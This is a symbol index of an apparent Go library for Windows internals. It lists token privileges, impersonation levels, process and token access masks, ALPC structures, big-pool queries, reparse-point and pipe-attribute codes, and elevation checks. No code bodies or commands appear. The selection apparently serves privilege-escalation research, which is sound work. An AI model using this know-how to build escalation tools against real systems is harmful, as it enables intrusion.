SeAssignPrimaryTokenPrivilege (line 242) | SeAssignPrimaryTokenPrivilege = "SeAssignPrimaryTokenPrivilege" constant SeTcbPrivilege (line 243) | SeTcbPrivilege = "SeTcbPrivilege" constant SeBackupPrivilege (line 244) | SeBackupPrivilege = "SeBackupPrivilege" constant SeRestorePrivilege (line 245) | SeRestorePrivilege = "SeRestorePrivilege" constant SeTakeOwnershipPrivilege (line 246) | SeTakeOwnershipPrivilege = "SeTakeOwnershipPrivilege" constant SeLoadDriverPrivilege (line 247) | SeLoadDriverPrivilege = "SeLoadDriverPrivilege" function QueryTokenInformation (line 251) | func QueryTokenInformation(token Token, infoClass uint32) ([]byte, bool) { function GetTokenPrivileges (line 285) | func GetTokenPrivileges(token Token) ([]string, bool) { function GetTokenInfo (line 338) | func GetTokenInfo(token Token) (*TokenInfo, bool) { function IsTokenElevated (line 364) | func IsTokenElevated(token Token) bool { function GetTokenSessionID (line 370) | func GetTokenSessionID(token Token) (uint32, bool) { FILE: windows/windows.go type IntegrityLevel (line 36) | type IntegrityLevel method String (line 50) | func (il IntegrityLevel) String() string { constant IntegrityUnknown (line 39) | IntegrityUnknown IntegrityLevel = iota constant IntegrityUntrusted (line 40) | IntegrityUntrusted constant IntegrityLow (line 41) | IntegrityLow constant IntegrityMedium (line 42) | IntegrityMedium constant IntegrityMediumPlus (line 43) | IntegrityMediumPlus constant IntegrityHigh (line 44) | IntegrityHigh constant IntegritySystem (line 45) | IntegritySystem constant IntegrityProtected (line 46) | IntegrityProtected type PlatformInfo (line 74) | type PlatformInfo struct type Handle (line 97) | type Handle type Token (line 100) | type Token type TokenType (line 103) | type TokenType constant TokenTypePrimary (line 106) | TokenTypePrimary TokenType = 1 constant TokenTypeImpersonation (line 107) | TokenTypeImpersonation TokenType = 2 type SecurityImpersonationLevel (line 111) | type SecurityImpersonationLevel constant SecurityAnonymous (line 114) | SecurityAnonymous SecurityImpersonationLevel = 0 constant SecurityIdentification (line 115) | SecurityIdentification SecurityImpersonationLevel = 1 constant SecurityImpersonation (line 116) | SecurityImpersonation SecurityImpersonationLevel = 2 constant SecurityDelegation (line 117) | SecurityDelegation SecurityImpersonationLevel = 3 type ProcessInfo (line 121) | type ProcessInfo struct type HandleInfo (line 133) | type HandleInfo struct type ALPCSectionInfo (line 142) | type ALPCSectionInfo struct type TokenInfo (line 151) | type TokenInfo struct type ServiceInfo (line 166) | type ServiceInfo struct constant ServiceStopped (line 180) | ServiceStopped = 0x00000001 constant ServiceStartPending (line 181) | ServiceStartPending = 0x00000002 constant ServiceStopPending (line 182) | ServiceStopPending = 0x00000003 constant ServiceRunning (line 183) | ServiceRunning = 0x00000004 constant ServiceContinuePending (line 184) | ServiceContinuePending = 0x00000005 constant ServicePausePending (line 185) | ServicePausePending = 0x00000006 constant ServicePaused (line 186) | ServicePaused = 0x00000007 type MemoryRegionInfo (line 190) | type MemoryRegionInfo struct function IsWindows (line 201) | func IsWindows() bool { constant InvalidHandleValue (line 209) | InvalidHandleValue = ^Handle(0) constant ProcessTerminate (line 212) | ProcessTerminate = 0x0001 constant ProcessCreateThread (line 213) | ProcessCreateThread = 0x0002 constant ProcessSetSessionID (line 214) | ProcessSetSessionID = 0x0004 constant ProcessVMOperation (line 215) | ProcessVMOperation = 0x0008 constant ProcessVMRead (line 216) | ProcessVMRead = 0x0010 constant ProcessVMWrite (line 217) | ProcessVMWrite = 0x0020 constant ProcessDupHandle (line 218) | ProcessDupHandle = 0x0040 constant ProcessCreateProcess (line 219) | ProcessCreateProcess = 0x0080 constant ProcessSetQuota (line 220) | ProcessSetQuota = 0x0100 constant ProcessSetInformation (line 221) | ProcessSetInformation = 0x0200 constant ProcessQueryInformation (line 222) | ProcessQueryInformation = 0x0400 constant ProcessSuspendResume (line 223) | ProcessSuspendResume = 0x0800 constant ProcessQueryLimitedInformation (line 224) | ProcessQueryLimitedInformation = 0x1000 constant ProcessAllAccess (line 225) | ProcessAllAccess = 0x1FFFFF constant TokenAssignPrimary (line 228) | TokenAssignPrimary = 0x0001 constant TokenDuplicate (line 229) | TokenDuplicate = 0x0002 constant TokenImpersonate (line 230) | TokenImpersonate = 0x0004 constant TokenQuery (line 231) | TokenQuery = 0x0008 constant TokenQuerySource (line 232) | TokenQuerySource = 0x0010 constant TokenAdjustPrivileges (line 233) | TokenAdjustPrivileges = 0x0020 constant TokenAdjustGroups (line 234) | TokenAdjustGroups = 0x0040 constant TokenAdjustDefault (line 235) | TokenAdjustDefault = 0x0080 constant TokenAdjustSessionID (line 236) | TokenAdjustSessionID = 0x0100 constant TokenAllAccess (line 237) | TokenAllAccess = 0xF01FF constant StatusSuccess (line 240) | StatusSuccess = 0x00000000 constant StatusInfoLengthMismatch (line 241) | StatusInfoLengthMismatch = 0xC0000004 constant StatusAccessDenied (line 242) | StatusAccessDenied = 0xC0000022 constant StatusInvalidHandle (line 243) | StatusInvalidHandle = 0xC0000008 constant SystemHandleInformation (line 246) | SystemHandleInformation = 16 constant AlpcPortObjectType (line 249) | AlpcPortObjectType = 45 constant PageNoAccess (line 252) | PageNoAccess = 0x01 constant PageReadOnly (line 253) | PageReadOnly = 0x02 constant PageReadWrite (line 254) | PageReadWrite = 0x04 constant PageWriteCopy (line 255) | PageWriteCopy = 0x08 constant PageExecute (line 256) | PageExecute = 0x10 constant PageExecuteRead (line 257) | PageExecuteRead = 0x20 constant PageExecuteReadWrite (line 258) | PageExecuteReadWrite = 0x40 constant PageExecuteWriteCopy (line 259) | PageExecuteWriteCopy = 0x80 constant PageGuard (line 260) | PageGuard = 0x100 constant PageNoCache (line 261) | PageNoCache = 0x200 constant PageWriteCombine (line 262) | PageWriteCombine = 0x400 constant MemCommit (line 265) | MemCommit = 0x1000 constant MemReserve (line 266) | MemReserve = 0x2000 constant MemDecommit (line 267) | MemDecommit = 0x4000 constant MemRelease (line 268) | MemRelease = 0x8000 constant MemFree (line 269) | MemFree = 0x10000 constant MemPrivate (line 270) | MemPrivate = 0x20000 constant MemMapped (line 271) | MemMapped = 0x40000 constant MemReset (line 272) | MemReset = 0x80000 constant MemTopDown (line 273) | MemTopDown = 0x100000 constant MemLargePages (line 274) | MemLargePages = 0x20000000 constant ScManagerConnect (line 277) | ScManagerConnect = 0x0001 constant ScManagerCreateService (line 278) | ScManagerCreateService = 0x0002 constant ScManagerEnumerateService (line 279) | ScManagerEnumerateService = 0x0004 constant ScManagerLock (line 280) | ScManagerLock = 0x0008 constant ScManagerQueryLockStatus (line 281) | ScManagerQueryLockStatus = 0x0010 constant ScManagerModifyBootConfig (line 282) | ScManagerModifyBootConfig = 0x0020 constant ScManagerAllAccess (line 283) | ScManagerAllAccess = 0xF003F constant ServiceQueryConfig (line 286) | ServiceQueryConfig = 0x0001 constant ServiceChangeConfig (line 287) | ServiceChangeConfig = 0x0002 constant ServiceQueryStatus (line 288) | ServiceQueryStatus = 0x0004 constant ServiceEnumerateDependents (line 289) | ServiceEnumerateDependents = 0x0008 constant ServiceStart (line 290) | ServiceStart = 0x0010 constant ServiceStop (line 291) | ServiceStop = 0x0020 constant ServicePauseContinue (line 292) | ServicePauseContinue = 0x0040 constant ServiceInterrogate (line 293) | ServiceInterrogate = 0x0080 constant ServiceUserDefinedControl (line 294) | ServiceUserDefinedControl = 0x0100 constant ServiceAllAccess (line 295) | ServiceAllAccess = 0xF01FF constant ServiceKernelDriver (line 298) | ServiceKernelDriver = 0x00000001 constant ServiceFileSystemDriver (line 299) | ServiceFileSystemDriver = 0x00000002 constant ServiceWin32OwnProcess (line 300) | ServiceWin32OwnProcess = 0x00000010 constant ServiceWin32ShareProcess (line 301) | ServiceWin32ShareProcess = 0x00000020 constant ServiceInteractiveProcess (line 302) | ServiceInteractiveProcess = 0x00000100 constant ServiceBootStart (line 305) | ServiceBootStart = 0x00000000 constant ServiceSystemStart (line 306) | ServiceSystemStart = 0x00000001 constant ServiceAutoStart (line 307) | ServiceAutoStart = 0x00000002 constant ServiceDemandStart (line 308) | ServiceDemandStart = 0x00000003 constant ServiceDisabled (line 309) | ServiceDisabled = 0x00000004 constant GenericRead (line 312) | GenericRead = 0x80000000 constant GenericWrite (line 313) | GenericWrite = 0x40000000 constant GenericExecute (line 314) | GenericExecute = 0x20000000 constant GenericAll (line 315) | GenericAll = 0x10000000 constant FileShareRead (line 318) | FileShareRead = 0x00000001 constant FileShareWrite (line 319) | FileShareWrite = 0x00000002 constant FileShareDelete (line 320) | FileShareDelete = 0x00000004 constant CreateNew (line 323) | CreateNew = 1 constant CreateAlways (line 324) | CreateAlways = 2 constant OpenExisting (line 325) | OpenExisting = 3 constant OpenAlways (line 326) | OpenAlways = 4 constant TruncateExisting (line 327) | TruncateExisting = 5 constant TokenInfoUser (line 330) | TokenInfoUser = 1 constant TokenInfoGroups (line 331) | TokenInfoGroups = 2 constant TokenInfoPrivileges (line 332) | TokenInfoPrivileges = 3 constant TokenInfoOwner (line 333) | TokenInfoOwner = 4 constant TokenInfoPrimaryGroup (line 334) | TokenInfoPrimaryGroup = 5 constant TokenInfoDefaultDacl (line 335) | TokenInfoDefaultDacl = 6 constant TokenInfoSource (line 336) | TokenInfoSource = 7 constant TokenInfoType (line 337) | TokenInfoType = 8 constant TokenInfoImpersonationLevel (line 338) | TokenInfoImpersonationLevel = 9 constant TokenInfoStatistics (line 339) | TokenInfoStatistics = 10 constant TokenInfoRestrictedSids (line 340) | TokenInfoRestrictedSids = 11 constant TokenInfoSessionID (line 341) | TokenInfoSessionID = 12 constant TokenInfoGroupsAndPrivileges (line 342) | TokenInfoGroupsAndPrivileges = 13 constant TokenInfoSandBoxInert (line 343) | TokenInfoSandBoxInert = 15 constant TokenInfoOrigin (line 344) | TokenInfoOrigin = 17 constant TokenInfoElevationType (line 345) | TokenInfoElevationType = 18 constant TokenInfoLinkedToken (line 346) | TokenInfoLinkedToken = 19 constant TokenInfoElevation (line 347) | TokenInfoElevation = 20 constant TokenInfoIntegrityLevel (line 348) | TokenInfoIntegrityLevel = 25 constant TokenInfoUIAccess (line 349) | TokenInfoUIAccess = 26 constant TokenInfoMandatoryPolicy (line 350) | TokenInfoMandatoryPolicy = 27 constant TokenInfoIsAppContainer (line 351) | TokenInfoIsAppContainer = 29 constant SystemBigPoolInformation (line 354) | SystemBigPoolInformation = 66 constant NtFileSupersede (line 357) | NtFileSupersede = 0 constant NtFileOpen (line 358) | NtFileOpen = 1 constant NtFileCreate (line 359) | NtFileCreate = 2 constant NtFileOpenIf (line 360) | NtFileOpenIf = 3 constant NtFileOverwrite (line 361) | NtFileOverwrite = 4 constant FileDirectoryFile (line 364) | FileDirectoryFile = 0x00000001 constant FileSynchronousIONonAlert (line 365) | FileSynchronousIONonAlert = 0x00000020 constant FileNonDirectoryFile (line 366) | FileNonDirectoryFile = 0x00000040 constant FileOpenReparsePoint (line 367) | FileOpenReparsePoint = 0x00200000 constant ObjCaseInsensitive (line 370) | ObjCaseInsensitive = 0x00000040 constant IoReparseTagCloud (line 373) | IoReparseTagCloud = 0x9000001A constant FsctlSetReparsePoint (line 376) | FsctlSetReparsePoint = 0x000900A4 constant FsctlPipeSetAttribute (line 379) | FsctlPipeSetAttribute = 0x11003C constant FsctlPipeGetAttribute (line 380) | FsctlPipeGetAttribute = 0x110038 constant AlpcMsgflgNone (line 383) | AlpcMsgflgNone = 0x0 constant ReparseDataBufferHeaderSize (line 386) | ReparseDataBufferHeaderSize = 8 constant PortMessageSize (line 389) | PortMessageSize = 0x28 type IOStatusBlock (line 394) | type IOStatusBlock struct type UnicodeString (line 401) | type UnicodeString struct type ObjectAttributes (line 411) | type ObjectAttributes struct type ALPCPortAttributes (line 424) | type ALPCPortAttributes struct type ALPCMessageAttributes (line 438) | type ALPCMessageAttributes struct type BigPoolEntry (line 445) | type BigPoolEntry struct type BigPoolInformation (line 453) | type BigPoolInformation struct FILE: windows/windows_test.go constant windowsOS (line 10) | windowsOS = "windows" function TestIntegrityLevelString (line 12) | func TestIntegrityLevelString(t *testing.T) { function TestConstants (line 34) | func TestConstants(t *testing.T) { function TestGetPlatformInfo (line 51) | func TestGetPlatformInfo(t *testing.T) { function TestIsAdmin (line 76) | func TestIsAdmin(t *testing.T) { function TestIsSystem (line 88) | func TestIsSystem(t *testing.T) { function TestIsElevated (line 99) | func TestIsElevated(t *testing.T) { function TestGetIntegrityLevel (line 110) | func TestGetIntegrityLevel(t *testing.T) { function TestEnumProcesses (line 121) | func TestEnumProcesses(t *testing.T) { function TestFindProcess (line 141) | func TestFindProcess(t *testing.T) { function TestOpenProcessNonWindows (line 150) | func TestOpenProcessNonWindows(t *testing.T) { function TestCloseHandleNonWindows (line 159) | func TestCloseHandleNonWindows(t *testing.T) { function TestGetCurrentProcess (line 168) | func TestGetCurrentProcess(t *testing.T) {